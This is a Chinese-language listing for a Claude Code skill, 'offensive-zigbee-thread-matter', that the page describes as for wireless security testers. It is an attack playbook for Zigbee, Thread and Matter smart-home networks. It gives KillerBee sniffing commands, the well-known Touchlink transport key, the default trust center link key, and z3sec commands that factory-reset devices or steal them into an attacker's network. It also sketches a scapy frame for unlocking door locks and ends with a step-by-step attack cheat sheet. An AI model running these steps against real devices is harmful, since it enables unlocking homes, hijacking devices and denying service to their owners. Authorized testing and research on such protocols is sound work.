关于 offensive-zigbee-thread-matter
面向无线安全测试人员的 Zigbee、Thread 和 Matter 攻击指南,介绍设备发现、流量捕获、配网滥用及协议特定风险,并列出相关硬件和工具。
主要功能
- 01发现网络并捕获 802.15.4 流量
- 02利用 Zigbee Touchlink 配网
- 03捕获入网密钥并解密流量
- 04构造 ZCL/ZHA 集群命令
- 05检查 Thread 与 Matter 配网风险
适用场景
- 01评估 Zigbee 灯具和传感器的配网安全
- 02分析入网期间的密钥交换流量
- 03测试 Thread 或 Matter 的凭据与配网流程
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-zigbee-thread-matter安装后在 Claude Code 中输入/offensive-zigbee-thread-matter确认已加载。
详细介绍
Zigbee / Thread / Matter 攻击
基于 802.15.4 的网状协议是大多数“智能家居”设备的基础。Zigbee 部署广泛,存在广为人知的加密密钥重用问题;现代的 IPv6 版 Thread 默认安全性更强;Matter 统一了它们的配网模型,并采用更强的加密,但仍存在实现层面的隐患。
快速工作流
- 侦听目标频段(2.4 GHz 中的 11–26 信道)
- 识别网络协调器和正在加入的设备
- 对于 Zigbee:尝试使用广为人知的密钥进行 Touchlink 配网
- 在设备配网时捕获入网密钥交换
- 重放或注入 ZCL/ZHA 簇命令
硬件
| 适配器 | 用途 |
|---|---|
| TI CC2531 USB stick | 价格低廉,可与 Zigbee2MQTT、KillerBee 配合使用 |
| TI CC2540 / CC2652 | Zigbee + Thread + BLE |
| Sonoff Zigbee Dongle E (CC2652P) | 新款,支持良好 |
| ApiMote (KillerBee dev) | 多信道,scapy-dot15d4 |
| HackRF + appropriate firmware | 更灵活的底层 RF 操作 |
发现 + 侦听
# KillerBee suite
zbstumbler -i 0 # find Zigbee networks
zbid # ID coordinators
zbdump -c 11 -w zigbee.pcap # dump channel 11 to pcap
# scapy-dot15d4 for crafted frames
python3
>>> from scapy.contrib.dot15d4 import *
>>> sniff(iface='/dev/ttyACM0', count=50)
在 Wireshark 中使用 dot15d4 + zbee_nwk 解析器,可以看到帧计数器、网络密钥(加入网络后)和 ZCL 命令。
滥用 Touchlink 配网
Touchlink(用于 Zigbee 3.0 配网,尤其常见于照明设备)使用一个广为人知的传输密钥:
0x9F559A553B7A6B2C5C4FBB4E84956F3D
许多消费级 Zigbee 灯泡 / 灯带都接受附近任意无线设备使用此密钥进行 Touchlink 配网——将它们加入你的网络,或从原网络中窃取。
# z3sec — Zigbee 3 commissioning attack toolkit
git clone https://github.com/IoTsec/Z3sec
python z3sec_inter_pan.py --command "factory_reset_request" --device <addr>
python z3sec_inter_pan.py --command "join_network" --network <PANID>
结果:
- 远程将受害设备恢复出厂设置(拒绝服务 / 大规模干扰)
- 将灯具 / 传感器窃取到攻击者的网络中
- 设备加入网络后读取网络密钥
捕获设备入网时的网络密钥
# Capture coordinator + joining device exchange
zbdump -c <ch> -w join.pcap
# Decrypt if you obtain the trust center link key
# Older Zigbee 1.x networks used a default trust center link key:
# ZigBeeAlliance09
# Modern networks use device-specific install codes
获得网络密钥后,即可在 Wireshark 中解密该网状网络上的所有流量。
滥用 ZCL / ZHA 簇命令
Zigbee Cluster Library 定义了开关、亮度和门锁簇。拥有网络密钥后,你可以冒充任意设备发送命令:
# scapy-dot15d4 frame to unlock a door lock
from scapy.contrib.dot15d4 import *
from scapy.contrib.zigbee import *
frame = Dot15d4FCS()/Dot15d4Data()/ZigbeeNWK(...)/ZigbeeAppDataPayload(...)/ZCLDoorLock(...)
sendp(frame, iface='/dev/ttyACM0')
同样的方法可以开锁、切换开关、调暗灯光,或用控制流量淹没网络。
Thread 特有事项
Thread(用于 Apple HomePod、Nest、Eero)使用带 IPv6(6LoWPAN)的 802.15.4,并采用更强的配网加密。
- 网络凭据是由配网器分发的 PSKc
- 设备需在配网器在场时加入网络
- 网状网络配网协议通过 UDP/CoAP 运行
攻击面:
- 从配网器设备(移动应用配套设备、Apple Home、Nest 应用)窃取 PSKc
- 重用泄露的凭据加入目标网络
- 6LoWPAN 路由攻击(等级操纵、黑洞攻击)
Matter 配网
Matter 在统一的配网模型下整合 Zigbee/Thread/Wi-Fi 设备的接入流程:
- QR 码或手动设置码可授予配网权限
- 初始配网使用 Bluetooth LE
- 后续通信通过 Wi-Fi 或 Thread 进行
攻击面:
- 如果配网窗口未关闭,设置码可能被重用 / 重放
- 初始配网期间的 BLE 中间人攻击(参见
offensive-bluetooth-ble) - 早期实现中的 Fabric 证明缺陷
检测
- 协调器可能会记录异常设备加入事件
- 中枢应用会显示“新设备”通知——用户通常会忽略
- 防御人员使用 Wireshark / Sonoff 进行捕获的情况很少——大多数环境都不监控 802.15.4
行动速查表
# 1. Identify networks + channels
zbstumbler -i 0
# 2. Sniff target channel
zbdump -c <ch> -w cap.pcap
# Open in Wireshark with dot15d4/zigbee dissectors
# 3. Touchlink attack on consumer Zigbee 3.0 lighting
python z3sec_inter_pan.py --command "factory_reset_request" --target <addr>
# 4. Steal device into attacker network
python z3sec_inter_pan.py --command "join_network" --target <addr>
# 5. With network key, issue ZCL commands directly
# (custom scapy-dot15d4 + zbee_nwk frames)
# 6. For Thread: focus on commissioner / PSKc theft from companion apps
重要参考资料
- KillerBee:github.com/riverloopsec/killerbee
- Z3sec:github.com/IoTsec/Z3sec
- “Zigbee Insecurity” 研究(CON Black Hat 演讲)
- Thread 规范:threadgroup.org/support
- Matter / CSA 规范:csa-iot.org/all-solutions/matter
- 来源:https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md
评论
支持 Markdown